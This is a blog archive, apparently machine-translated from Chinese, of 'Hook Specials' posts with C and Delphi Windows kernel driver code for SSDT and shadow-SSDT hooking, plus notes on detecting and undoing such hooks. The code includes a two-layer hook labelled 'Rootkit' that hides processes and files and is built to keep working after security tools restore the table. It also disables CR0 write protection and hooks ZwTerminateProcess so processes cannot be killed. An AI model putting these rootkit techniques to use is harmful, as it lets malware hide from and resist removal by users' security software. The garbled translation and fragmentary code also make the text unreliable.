Wednesday, August 31, 2011

Hook Specials 23 : Talk two layers hook for SSDT API

Author:HSQ
Hook realy is art, In the fight to survive, Good jobs.
Here, Only talk thing of dispose , Non full code.

Code:

  // Two layers HOOK: 1.First install Inline hook when don't use SSDT HOOK
  ...
  SetInLineHookZwQueryDirectoryFile();
  SetInLineHookZwQuerySystemInformation();
  // Two layers HOOK: 2.Then install outer SSDT HOOK, Like this even if hook  recovered by other tools, Intimal hook work yet.
  InHookSSDTNativeAPI();
  ...
//////////////////////////////////////////////////////////////////////////////
   .....................
////////////////////// Do any thing //////////////////////////////////////////
  // Hide process
  if(NT_SUCCESS(ntStatus))
  {  ZWQUERYSYSTEMINFORMATION TempCheckInSSDTSpace=(ZWQUERYSYSTEMINFORMATION)SYSTEMSERVICE(ZwQuerySystemInformation);
    // Check whether SSDT hook is exist, Avoidance of repetition work; Of cause may repetition work,
    // Don't BSOD, Explain code robust ^-^.
    if(HookSSDTZwQuerySystemInformation!=TempCheckInSSDTSpace)
    {   // When onself ssdt hook is remove, Let's Inline Hook replace it to  continue work
      //if(0x81000000 > (ULONG)TempCheckInSSDTSpace)
      HideFileFromZwQuerySystemInformation(SystemInformationClass,SystemInformation);
      if (TempCheckInSSDTSpace != OldZwQuerySystemInformation)
      {   // If Inline hook already hook to layer space of ssdt, need check KIRQL, Then dusoise
          // for avert BSOD!
        if(DISPATCH_LEVEL >= KeGetCurrentIrql())
        //    Now can't gobbles up CPU times, If Safemon.sys distribute function ,          //maybe system resource use up. SSDT HOOK of SMM can't pass up, Let Inline hook stand up to
        // a kinds of test^-^
          DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!\n");
          //
      }
      else
      {
          DbgPrint("Rootkit: Hook Inline ZwQuerySystemInformation() Worked ok!\n");
          //
      }   
    }
    else
    {
      DbgPrint("Rootkit: SSDT HOOK ZwQuerySystemInformation is exist, Inline Hook not need to do any thing any more!\n");
    }
  }
////////////////////// Do any thing //////////////////////////////////////////

Monday, August 29, 2011

Hook Specials 22 : Simple think of recover ssdt hook and FSD hook

Author:cradiator
 I read recover of FSD hook and SSDT hook these days, Past master already is tried of playing, So don't laughing me.

First is SDT hook.

Easy search 360superkiller of reverse by sudami, But mapping size calculate seem like wrong.

Recover paste my think.

1.ZwQuerySystermImformation is transmited 11 number's parameter.
2.Use attach to path to open disk files of ntfs.sys and fastfat.sys.
3.Depend PE format to get mapping base address on file(imageBase).
4.Search to set command of dispath path by condition code .

Disassemble ntfs.sys(fastfat.sys) with IDA, Watch code and opcode:
esi point structure of DriverObject, Opcode is:
c7 46 XX YY YY YY YY

c7 86 XX XX XX XX YY YY YY YY (XX is offset of esi ,YY is real function address)

So can search condition code for segment command:
After get command , Depend above structrue get dispatch index of IRP and original function of dispatch .
computational method of Real index :
Because ntfs.sys real loaded to place that different PE files stored, need relocate :

Come here get original path of dispatch function.

5. Part get with ObReferenceObjectByName,
L"\\FileSystem\\Ntfs"

L"\\FileSystem\\Fastfat"

Correspond to DriverObject.

Contrast address of DriverObject dispatch function and address of read pe file , If different to repair.

--------------------------------------------------------------------------------

SSDT HOOK
1.Identify ntoskrnl.exe or ntkrnlpa.exe is used  by kernel file of driver .
 When memory of computer than 512MB , Windows open PAE with ntkrnlpa.exe, Otherwise use ntoskrnl.exe, There isn't consider multi-core processor.

So we detect PAE whether open to confirm file name of kernel.
When 5 bit of cr4 is set to explain open PAE.
2. When map file of kernel , for example memoryg, Base address is krnlImgBase.
3. ZwQuerySystemInformation transmited 11 number parameter, Get structure array SYSTEM_MODULE_INFORMATION, Traversal array to get krnlBase of system kernel on memory base address .
4.Depend PE format to map to memory file, Get original SSDT.
The way: First get SSDT table address by system export, shave base address to get RVA of SSDT.
Seach section table of kernel file's memory map.
Seach where section is on rva of ssdt.
SSDT of memory mapping file = SSDT RVA  所在节 RVA + 所在节 RawOffset + krnlImgBase

5.Contrast original SSDT and current SSDT, Different to replace.
A question of relocate is must noticed on here.

code:

Sunday, August 28, 2011

Hook Specials 21 : Reappear SSDT-HOOK shadow to compile succeed

Author:ASMHacker
Because need to hook a api, Write the article.

The way is usual used on Kingsoft and AVP about Hook shadow ssdt, The code passed compile ...... But some people do wrong that use it, So it cut something. Study ssdt or kernel can use it. I only cut a little .

//#include "ntddk.h"
//function and global varable of driver is default non-page.
#define HWND       ULONG
#define DWORD       ULONG
#define WORD       USHORT
#define BYTE       UCHAR
#define UINT       ULONG
#define ProcessNameOffset    0x174
//----------------------------------------------------------------------------------------------------------
#define NT_DEVICE_NAME L"\\Device\\hook" // device name and symbolic link name
#define DOS_DEVICE_NAME L"\\DosDevices\\hook"
#define ObjectNameInformation 1

#define BASE_PROCESS_PEB_OFFSET     0x01B0
#define BASE_PEB_PROCESS_PARAMETER_OFFSET 0x0010
#define BASE_PROCESS_PARAMETER_FULL_IMAGE_NAME 0x003C
//----------------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SYSTEM_SERVICE_TABLE
{
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
}
SYSTEM_SERVICE_TABLE,
*PSYSTEM_SERVICE_TABLE,
**PPSYSTEM_SERVICE_TABLE;
#pragma pack()
//-----------------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SERVICE_DESCRIPTOR_TABLE_
{
SYSTEM_SERVICE_TABLE ntoskrnl; // ntoskrnl.exe ( native api )
SYSTEM_SERVICE_TABLE win32k;    // win32k.sys (gdi/user support)
SYSTEM_SERVICE_TABLE Table3;    // not used
SYSTEM_SERVICE_TABLE Table4;    // not used
}
SYSTEM_DESCRIPTOR_TABLE,
*PSYSTEM_DESCRIPTOR_TABLE,
**PPSYSTEM_DESCRIPTOR_TABLE;
#pragma pack()
//------------------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SRVTABLE {
PVOID           *ServiceTable;
ULONG           LowCall;       
ULONG           HiCall;
PVOID           *ArgTable;
} SRVTABLE, *PSRVTABLE;
#pragma pack()
//--------------------------------------------------------------------------------------------------
#pragma pack(1)
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_INFORMATION Information[1];
}SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;
#pragma pack()
//-------------------------------------------------------------------------------------------------------------------
NTKERNELAPI BOOLEAN KeAddSystemServiceTable (PULONG_PTR Base, PULONG Count OPTIONAL, ULONG Limit, PUCHAR Number, ULONG Index) ;
//------------------------------------------------------------------------------------------------------------
//////函数申明
VOID DrvUnload(PDRIVER_OBJECT);
NTSTATUS DriverEntry(PDRIVER_OBJECT, PUNICODE_STRING);
NTSTATUS IoDispatch(PDEVICE_OBJECT, PIRP);
HANDLE GetCsrPid();
PSYSTEM_DESCRIPTOR_TABLE FindShadowTable(void);
//------NtUserFindWindowEx------------------------------------------------------------------------------------------------------------------------------------------------------
ULONG NewNtUserFindWindowEx(HWND hwndParent,HWND hwndChild,PUNICODE_STRING pstrClassName OPTIONAL,PUNICODE_STRING pstrWindowName OPTIONAL,DWORD dwType);
typedef ULONG (*NTUSERFINDWINDOWEX)(HWND hwndParent, HWND hwndChild, PUNICODE_STRING pstrClassName OPTIONAL, PUNICODE_STRING pstrWindowName OPTIONAL, DWORD dwType);
//NTUSERFINDWINDOWEX OldNtUserFindWindowEx=(NTUSERFINDWINDOWEX *)ExAllocatePool(NonPagedPool, sizeof(NTUSERFINDWINDOWEX));
NTUSERFINDWINDOWEX OldNtUserFindWindowEx;
//--------------------------------------------------------------------------------------------------
//Global variable
PSYSTEM_DESCRIPTOR_TABLE ShadowTable = NULL;
//-----------------------------------------------------------------------------------------------------------
extern PSRVTABLE KeServiceDescriptorTable;
//__declspec(dllimport) KeAddSystemServiceTable(LPSSTAT,BOOL,DWORD,LPSSTPT,DWORD);
//-----------------------------------------------------------------------------------------------------------

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING RegistryPath)
{
KIRQL OldIrql;
PDEVICE_OBJECT pDeviceObject = NULL;
NTSTATUS ntStatus;
UNICODE_STRING uniNtNameString, uniWin32NameString;
int i;
PEPROCESS EProcess;

RtlInitUnicodeString( &uniNtNameString, NT_DEVICE_NAME );
ntStatus = IoCreateDevice (
   pDriverObject,
   0, // DeviceExtensionSize
   &uniNtNameString,
   FILE_DEVICE_UNKNOWN, //
   0,       // No standard device characteristics
   FALSE,      // not exclusive device
   &pDeviceObject
   );
if( !NT_SUCCESS(ntStatus) )
{
   return ntStatus;
}

// create dispatch points for create/open, close, unload
pDriverObject->DriverUnload = DrvUnload;

RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
ntStatus = IoCreateSymbolicLink( &uniWin32NameString, &uniNtNameString );
if (!NT_SUCCESS(ntStatus))
{
   IoDeleteDevice( pDriverObject->DeviceObject );
}

for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++ )
   pDriverObject->MajorFunction[i] = IoDispatch;

KeEnterCriticalRegion();
ShadowTable = (PSYSTEM_DESCRIPTOR_TABLE)FindShadowTable();
KeLeaveCriticalRegion();
if(ShadowTable==0)
{
   DbgPrint("Can't find ShadowTable");
   return STATUS_UNSUCCESSFUL;
}
else
{
   ntStatus = PsLookupProcessByProcessId(GetCsrPid(), &EProcess);
   if (!NT_SUCCESS( ntStatus ))
   {
    DbgPrint("PsLookupProcessByProcessId()\n");
    return ntStatus;
   }
   KeAttachProcess(EProcess);
   DbgPrint("ntoskrnl Address:\t 0x%08x\n", ShadowTable->ntoskrnl);
   DbgPrint("win32k   Address:\t 0x%08x\n", ShadowTable->win32k);
   DbgPrint("Table3   Address:\t 0x%08x\n", ShadowTable->Table3);
   DbgPrint("Table4   Address:\t 0x%08x\n\r\n", ShadowTable->Table4);
   DbgPrint("NtUserFindWindowEx Address: 0x%08x\n", ShadowTable->win32k.ServiceTableBase[0x17a]);
   //Lifting IRQ prevent break
   if(KeGetCurrentIrql() <= DISPATCH_LEVEL)
    KeRaiseIrql(DISPATCH_LEVEL,&OldIrql);
   //Disable memory protectiong mechanism
 
   __asm
   {
    push eax
     mov eax,CR0
     and eax,not 0x10000
     mov CR0,eax
     pop eax
     cli
   }
   ///
   ///hook something
   ///
   OldNtUserFindWindowEx=(NTUSERFINDWINDOWEX)ShadowTable->win32k.ServiceTableBase[0x17a];
   (NTUSERFINDWINDOWEX)ShadowTable->win32k.ServiceTableBase[0x17a]=NewNtUserFindWindowEx;
   //Start using memory protection mechanism
   __asm
   {
    sti
     push eax
     mov eax,CR0
     xor eax,0x10000
     mov CR0,eax
     pop eax
   }
   KeLowerIrql(OldIrql);
}
return STATUS_SUCCESS;
}

NTSTATUS IoDispatch(PDEVICE_OBJECT pDeviceObject, IN PIRP pIrp)
{
NTSTATUS iStatus = STATUS_SUCCESS;

pIrp->IoStatus.Status = iStatus;
pIrp->IoStatus.Information = 0;
IoCompleteRequest( pIrp, IO_NO_INCREMENT );
return iStatus;
}

VOID DrvUnload(PDRIVER_OBJECT pDriverObject)
{
// KIRQL OldIrql;
PDEVICE_OBJECT pDeviceObject;
UNICODE_STRING uniWin32NameString;
pDeviceObject = pDriverObject->DeviceObject;

// if(KeGetCurrentIrql() <= DISPATCH_LEVEL)
// KeRaiseIrql(DISPATCH_LEVEL,&OldIrql);
//Disable memory protection mechanism
__asm
{
   push eax
    mov eax,CR0
    and eax,not 0x10000
    mov CR0,eax
    pop eax
    cli
}

///
///在这里做一些hook
(NTUSERFINDWINDOWEX)ShadowTable->win32k.ServiceTableBase[0x17a]=OldNtUserFindWindowEx;
//Use Interlocking to change value of pointer, safer?
//InterlockedExchangePointer(ShadowTable->win32k.ServiceTableBase[0x17a],&OldNtUserFindWindowEx);
//Start using memory protect mechanism
__asm
{
   sti
    push eax
    mov eax,CR0
    xor eax,0x10000
    mov CR0,eax
    pop eax
}
// KeLowerIrql(OldIrql);
RtlInitUnicodeString( &uniWin32NameString, DOS_DEVICE_NAME );
IoDeleteSymbolicLink( &uniWin32NameString );
IoDeleteDevice( pDriverObject->DeviceObject );
}
//--------------------------------------------------------------------------------------------------

PSYSTEM_DESCRIPTOR_TABLE FindShadowTable(void)
{
unsigned char *      pCheckArea = (unsigned char * ) KeAddSystemServiceTable;
int         i;
PSRVTABLE   pSrvTable = NULL;

for (i=0; i<100; i++)
{
   __try
   {
    pSrvTable = *(PSRVTABLE*)pCheckArea;
    if (
     !MmIsAddressValid(pSrvTable)            ||
     (pSrvTable == KeServiceDescriptorTable) ||
     (memcmp(pSrvTable, KeServiceDescriptorTable, sizeof (*pSrvTable)) != 0)
     )
    {
     pCheckArea++;
     pSrvTable = NULL;
    }
   }
   __except(EXCEPTION_EXECUTE_HANDLER)
   {
    pSrvTable = NULL;
   }
   if (pSrvTable)
    break;
}

if (pSrvTable == NULL)
{
   pSrvTable = (PSRVTABLE)((char*)KeServiceDescriptorTable-0x230);
   if (MmIsAddressValid(pSrvTable))
   {
    __try
    {
     if (memcmp(pSrvTable, KeServiceDescriptorTable, sizeof (*pSrvTable)) != 0)
      pSrvTable = NULL;
    }
    __except(EXCEPTION_EXECUTE_HANDLER)
    {
     pSrvTable = NULL;
    }
   }
   else
   {
    pSrvTable = NULL;
   }
}

return (PSYSTEM_DESCRIPTOR_TABLE)pSrvTable;
}


PVOID GetInfoTable(ULONG ATableType)
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
NTSTATUS St;
do
{
   mPtr = ExAllocatePool(PagedPool, mSize);
   memset(mPtr, 0, mSize);
   if (mPtr)
   {
    St = ZwQuerySystemInformation(ATableType, mPtr, mSize, NULL);
   } else return NULL;
   if (St == STATUS_INFO_LENGTH_MISMATCH)
   {
    ExFreePool(mPtr);
    mSize = mSize * 2;
   }
} while (St == STATUS_INFO_LENGTH_MISMATCH);
if (St == STATUS_SUCCESS) return mPtr;
ExFreePool(mPtr);
return NULL;
}

HANDLE GetCsrPid()
{
    HANDLE                        Process, hObject;
    HANDLE                        CsrId = (HANDLE)0;
    OBJECT_ATTRIBUTES            obj;
    CLIENT_ID                    cid;
    UCHAR                        Buff[0x100];
    POBJECT_NAME_INFORMATION      ObjName = (PVOID)&Buff;
    PSYSTEM_HANDLE_INFORMATION_EX Handles;
    ULONG                        r;

    Handles = GetInfoTable(SystemHandleInformation);

    if (!Handles) return CsrId;

    for (r = 0; r < Handles->NumberOfHandles; r++)
    {
        if (Handles->Information[r].ObjectTypeNumber == 21) //Port object
        {
            InitializeObjectAttributes(&obj, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
           
            cid.UniqueProcess = (HANDLE)Handles->Information[r].ProcessId;
            cid.UniqueThread = 0;
  
            if (NT_SUCCESS(NtOpenProcess(&Process, PROCESS_DUP_HANDLE, &obj, &cid)))
            {
                if (NT_SUCCESS(ZwDuplicateObject(Process,
      (HANDLE)Handles->Information[r].Handle,
      NtCurrentProcess(),
      &hObject,
      0, 0, DUPLICATE_SAME_ACCESS)))
                {
                    if (NT_SUCCESS(ZwQueryObject(hObject,
       ObjectNameInformation,
       ObjName,
       0x100, NULL)))
                    {
                        if (ObjName->Name.Buffer &&
                            !wcsncmp(L"\\Windows\\ApiPort", ObjName->Name.Buffer, 20))
                        {
                            CsrId = (HANDLE)Handles->Information[r].ProcessId;
                        }
                    }
    
                    ZwClose(hObject);
                }
   
                ZwClose(Process);
            }
        }
    }

    ExFreePool(Handles);

    return CsrId;
}


PCWSTR GetProcessFullName()
{
DWORD dwAddress;
if(KeGetCurrentIrql() != PASSIVE_LEVEL)
   return NULL;
dwAddress = (DWORD)PsGetCurrentProcess();
if(dwAddress == 0 || dwAddress == 0xFFFFFFFF)
   return NULL;
dwAddress += BASE_PROCESS_PEB_OFFSET;
if((dwAddress = *(DWORD*)dwAddress) == 0) return 0;
dwAddress += BASE_PEB_PROCESS_PARAMETER_OFFSET;
if((dwAddress = *(DWORD*)dwAddress) == 0) return 0;
dwAddress += BASE_PROCESS_PARAMETER_FULL_IMAGE_NAME;
if((dwAddress = *(DWORD*)dwAddress) == 0) return 0;
return (PCWSTR)dwAddress;
}


PVOID PsGetProcessSectionBaseAddress(PEPROCESS Process);
//---------------------------------------------------------------------------------------------------
ULONG NewNtUserFindWindowEx(HWND hwndParent, HWND hwndChild, PUNICODE_STRING pstrClassName OPTIONAL, PUNICODE_STRING pstrWindowName OPTIONAL, DWORD dwType)
{
KIRQL OldIrql;
ULONG result;
if(KeGetCurrentIrql() <= DISPATCH_LEVEL)
   KeRaiseIrql(DISPATCH_LEVEL,&OldIrql);
// UNICODE_STRING filtter;
// PUNICODE_STRING p=&filtter;
// RtlInitUnicodeString( &filtter, L"GAMECLIENT");
DbgPrint("Window title:\t%ws",pstrWindowName->Buffer);
DbgPrint("Window class:\t%ws",pstrClassName->Buffer);
DbgPrint( "Caller path\r\n%ws",GetProcessFullName());
DbgPrint( "---------------------------------------------------------");
result=OldNtUserFindWindowEx(hwndParent,hwndChild,pstrClassName,pstrWindowName,dwType);
return result;
}
//C:\mydrivers\ShadowSSDT_Hook\objchk\i386\ShadowSSDT.sys

I don't know why this, each hook succeed. But unload to show BSOD...

Error code INVALIDPROCESSATTACH_ ATTEMPT

I thought for a long time, no way out solve final...我的小笨脑想了很久,最终还是没办法解决...I guess KeAttachProcess behind no use KeDetachProcess,  hope past master help me.


Hook Specials 20 :A passages bout carrying out SSDT hook

Author:梧桐
The article only reffered to learn for driver develop rookie, Hard master passed please.

Driver isn't unknow for our.It work on ring3, So people is understand slow.Lost of the time you must understand technical data and interface , understand axiom of bottom work .

Ok , let us start to work, First affirm you already install DDK, You develop environment already deployed.

Open VS2003 Tool, Select options:
Then find Project, Select VC++ Directories , Add WINDDK path

Now real start driver program.

First Create Project of driver.

Cancel all deafault selecter.

Then finish, Delete Header Files、Resource Files , Now DDK Wizard already create template for us.

Under We create simple entry oneself.
code:
#include "ntddk.h"

//Unload
VOID UnLoad(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("UnLoad Driver.\n");
}

//EntryPoint.
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
           IN PUNICODE_STRING RegistryPath)
{
  DriverObject->DriverUnload = UnLoad;
  //TODO
  return STATUS_SUCCESS;
}
Click build on DriverName.WXP, Watch sys on objchk\i386 directory. The sys do nothing. So we realize feature. Let's hook ssdt now.

Hook ssdt , KeServiceDescriptorTable Must used on kernel , So define KeServiceDescriptorTable structure .
code:
typedef struct ServiceDescriptorEntry
{
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} SSDTEntry;

What function is hooked ? Example for ZwTerminateProcess , First difine ZwTerminateProcess structure.
code:
ZwTerminateProcess(
        IN HANDLE ProcessHandle OPTIONAL,
        IN NTSTATUS ExitStatus
        );
Structure:
typedef NTSTATUS(*_ZwTerminateProcess)(
                IN HANDLE ProcessHandle OPTIONAL,
                IN NTSTATUS ExitStatus
                );
We hook ZwTerminateProcess, Must find it in the first KSDT position. SSDT sever mark is defined to get marco of function address to reach our aim.

code:
#define  GetSystemFunc(FuncName) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)FuncName+1)];

Want to reach rewrite aim of ssdt. First arbitrate memory protection mechanism. Notoriously , Some vesion of windows start using writing protection for memory range, This is common on xp or 2003, SSDT only read, What's to do ?

Use Memory Descriptor list, For short MDL. MDL include memory range's start and end , owners proc , byte numbers , flag etc. OK , Define a pointer of MDL.

code:
PMDL MDLSystemCall;

After difine pointer of MDL, Let's memory have writablity to through MAPPED, Then lock MDL on memory, Define pointer of PVOID for MmMap

code:
PVOID *MappedSCT;

code part:
code:
MDLSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!MDLSystemCall)
  return STATUS_UNSUCCESSFUL;



code:
MmBuildMdlForNonPagedPool(MDLSystemCall); MDLSystemCall->MdlFlags = MDLSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; //可写 MappedSCT = MmMapLockedPages(MDLSystemCall, KernelMode);

code:
Old_ZwTerminateProcess = (_ZwTerminateProcess)(GetSystemFunc(ZwTerminateProcess));

Get index of KSDT before no hook , Save.

Under replace it:
code:
NTSTATUS NewZwTerminateProcess(
                IN HANDLE ProcessHandle OPTIONAL,
                IN NTSTATUS ExitStatus
                )
{
  //TODO
  return STATUS_SUCCESS;
}

Macro:
#define GetIndex(_foo) *(PULONG)((PUCHAR)_foo+1)
#define HookOn(_Old,_New) InterlockedExchange((PLONG)&MappedSCT[GetIndex(_Old)] ,(LONG)_New)

code part:
MDLSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
if(!MDLSystemCall)
  return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(MDLSystemCall);
MDLSystemCall->MdlFlags = MDLSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA; //可写
MappedSCT = MmMapLockedPages(MDLSystemCall, KernelMode);
HookOn(ZwTerminateProcess, NewZwTerminateProcess);
return STATUS_SUCCESS;

Full code:
///////////////////////////////////////////////////////////////////////////////
///
/// Copyright (c) 2008 - <company name here>
///
/// Original filename: NtHook.c
/// Project          : NtHook
/// Date of creation : 2008-11-20
/// Author(s)        : 梧桐
///
/// Purpose          : <description>
///
/// Revisions:
///  0000 [2008-11-20] Initial revision.
///
///////////////////////////////////////////////////////////////////////////////
#include "ntddk.h"

#pragma pack(1)
typedef struct ServiceDescriptorEntry
{
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} SSDTEntry;
__declspec(dllimport)  SSDTEntry KeServiceDescriptorTable;

#pragma pack()

NTKERNELAPI NTSTATUS ZwTerminateProcess(
                IN HANDLE ProcessHandle OPTIONAL,
                IN NTSTATUS ExitStatus
                );


typedef NTSTATUS(*_ZwTerminateProcess)(
                IN HANDLE ProcessHandle OPTIONAL,
                IN NTSTATUS ExitStatus
                );
_ZwTerminateProcess Old_ZwTerminateProcess;


#define GetSystemFunc(FuncName) KeServiceDescriptorTable.ServiceTableBase[*(PULONG)((PUCHAR)FuncName+1)]
PMDL  MDSystemCall;
PVOID *MappedSCT;

#define GetIndex(_Function) *(PULONG)((PUCHAR)_Function+1)

#define HookOn(_Old, _New)  \
       (PVOID) InterlockedExchange( (PLONG) &MappedSCT[GetIndex(_Old)], (LONG) _New)

#define UnHook(_Old, _New)  \
       InterlockedExchange( (PLONG) &MappedSCT[GetIndex(_Old)], (LONG) _New)


NTSTATUS NewZwTerminateProcess(
                IN HANDLE ProcessHandle OPTIONAL,
                IN NTSTATUS ExitStatus
                )
{
  return STATUS_SUCCESS;
}


//Unload
VOID UnLoad(IN PDRIVER_OBJECT DriverObject)
{
   DbgPrint("UnLoad Driver.\n");
   //卸载Hook
   UnHook( ZwTerminateProcess, Old_ZwTerminateProcess);

   //解锁、释放MDL
   if(MDSystemCall)
   {
      MmUnmapLockedPages(MappedSCT, MDSystemCall);
      IoFreeMdl(MDSystemCall);
   }
}

//EntryPoint.
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
           IN PUNICODE_STRING RegistryPath)
{
  DriverObject->DriverUnload = UnLoad;
 
  //找出旧函数地址并保存
  Old_ZwTerminateProcess =(_ZwTerminateProcess)(GetSystemFunc(ZwTerminateProcess));

  MDSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
  if(!MDSystemCall)
    return STATUS_UNSUCCESSFUL;
  MmBuildMdlForNonPagedPool(MDSystemCall);
  MDSystemCall->MdlFlags = MDSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  MappedSCT = MmMapLockedPages(MDSystemCall, KernelMode);

  //安装HOOK
  HookOn( ZwTerminateProcess, NewZwTerminateProcess);
  return STATUS_SUCCESS;
}

Friday, August 26, 2011

Hook Specials 19 : SSDT Hook For Delphi

Author:Anskya
I simple talk notice for delphi kmd developing.

Watch the code :
1. KeServiceDescriptorTable is specific function......If direct use implib to create library, You will the function uncared-for ......Because offset of the function is 0, It only is flag effect..... on some code

code:
function SystemService(AFunc:Pointer):PLONG;
begin
Result:=PLONG(Cardinal(KeServiceDescriptorTable^.ServiceTableBase)+SizeOf(ULONG)*PULONG(ULONG(AFunc)+1)^);
end;

Because the function border on useless, After the function's code can's be executed.

You can direct use

code:
PPointer(@KeServiceDescriptorTable)^;
Only get the address .

Code:
NtOpenProcess[SSDT Hook] By Anskya
Email: Anskya[at]Gmail.com
}
unit Driver;

interface

uses
ntddk; // ---->DDDK.pas

function _DriverEntry(DriverObject: PDriverObject; RegistryPath: PUnicodeString): NTSTATUS; stdcall;

implementation

type
TZwOpenProcess = function(ProcessHandle:PHandle; DesiredAccess:TAccessMask; ObjectAttributes:PObjectAttributes; ClientId:PClientId): NTSTATUS; stdcall;

var
HookActive: Boolean;
ZwOpenProcessNextHook: TZwOpenProcess;

// 从导入表中获取一个函数的地址
function GetImportFunAddr(lpImportAddr: Pointer): Pointer; stdcall;
begin
Result := PPointer(PPointer(Cardinal(lpImportAddr) + 2)^)^;
end;

// KeServiceDescriptorTable+函数名计算SSDT函数偏移
function SystemServiceName(AFunc: Pointer): PLONG; stdcall;
var
lpKeServiceDescriptorTable: PServiceDescriptorEntry;
begin
lpKeServiceDescriptorTable := PPointer(@KeServiceDescriptorTable)^;
Result := PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * PULONG(ULONG(AFunc) + 1)^));
end;

// KeServiceDescriptorTable+序号名计算SSDT函数偏移
function SystemServiceOrd(iOrd: ULONG): PLONG; stdcall;
var
lpKeServiceDescriptorTable: PServiceDescriptorEntry;
begin
lpKeServiceDescriptorTable := PPointer(@KeServiceDescriptorTable)^;
Result := PLONG(PLONG(Cardinal(lpKeServiceDescriptorTable^.ServiceTableBase) + (SizeOf(ULONG) * iOrd)));
end;

// 钩子过程
function ZwOpenProcessHookProc(ProcessHandle:PHandle; DesiredAccess:TAccessMask; ObjectAttributes:PObjectAttributes; ClientId:PClientId): NTSTATUS; stdcall;
begin
DbgPrint('ZwOpenProcess HookProc: NewZwOpenProcess(ProcessHandle:0x%.8X,DesiredAccess:0x%.8X,ObjectAttributes:0x%.8X,ClientId:0x%.8X)',
ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);

Result := ZwOpenProcessNextHook(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId);
DbgPrint('ZwOpenProcess HookProc: NewZwOpenProcess(-):0x%.8X', Result);
end;

// 驱动卸载过程
procedure DriverUnload(DriverObject:PDriverObject); stdcall;
begin
if (HookActive) then
begin
asm
cli //disable WP bit
push eax
mov eax, cr0 //move CR0 register into EAX
and eax, not 000010000h //disable WP bit
mov cr0, eax //write register back
pop eax
end;

ZwOpenProcessNextHook := TZwOpenProcess(xInterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwOpenProcess)), LONG(@ZwOpenProcessNextHook)));

asm
push eax //enable WP bit
mov eax, cr0 //move CR0 register into EAX
or eax, 000010000h //enable WP bit
mov cr0, eax //write register back
pop eax
sti
end;

DbgPrint('ZwOpenProcess New Address: 0x%.8X', SystemServiceName(GetImportFunAddr(@ZwOpenProcess))^);
DbgPrint('ZwOpenProcess Old Address: 0x%.8X', DWORD(@ZwOpenProcessNextHook));

HookActive := False;
end;
DbgPrint('DriverUnload(-)');
end;

// 驱动入口点
function _DriverEntry(DriverObject:PDriverObject;RegistryPath:PUnicodeString): NTSTATUS; stdcall;
begin
DriverObject^.DriverUnload := @DriverUnload;
Result := STATUS_SUCCESS;
DbgPrint('DriverEntry(-):0x%.8X', Result);

HookActive := False;

DbgPrint('ZwOpenProcess Import Address: 0x%.8X', GetImportFunAddr(@ZwOpenProcess));
DbgPrint('KeServiceDescriptorTable() Address 1: 0x%.8X', @KeServiceDescriptorTable);
DbgPrint('KeServiceDescriptorTable() Address 2: 0x%.8X', PPointer(@KeServiceDescriptorTable)^);

DbgPrint('ZwOpenProcess Ord Address: 0x%.8X', SystemServiceOrd($7A)^); // XP Ord!
DbgPrint('ZwOpenProcess Name Address: 0x%.8X', SystemServiceName(GetImportFunAddr(@ZwOpenProcess))^);
DbgPrint('ZwOpenProcess HookProc Address: 0x%.8X', @ZwOpenProcessHookProc);

if (Not HookActive) then
begin
// SSDT Hook
asm //disable WP bit
cli
push eax
mov eax, cr0 //move CR0 register into EAX
and eax, not 000010000h //disable WP bit
mov cr0, eax //write register back
pop eax
end;

//lpNew^ := LONG(lpOld);
ZwOpenProcessNextHook := TZwOpenProcess(xInterlockedExchange(SystemServiceName(GetImportFunAddr(@ZwOpenProcess)), LONG(@ZwOpenProcessHookProc)));

asm
push eax //enable WP bit
mov eax, cr0 //move CR0 register into EAX
or eax, 000010000h //enable WP bit
mov cr0, eax //write register back
pop eax
sti
end;

DbgPrint('ZwOpenProcess New Address: 0x%.8X', SystemServiceName(GetImportFunAddr(@ZwOpenProcess))^);
DbgPrint('ZwOpenProcess Old Address: 0x%.8X', DWORD(@ZwOpenProcessNextHook));

HookActive := True;
end else
begin
DbgPrint('ZwOpenProcess Hooked!!! By Anskya');
end;

end;

end.

Thursday, August 25, 2011

Hook Specials 18 : Anti SSDT Hook

Author:认真的雪
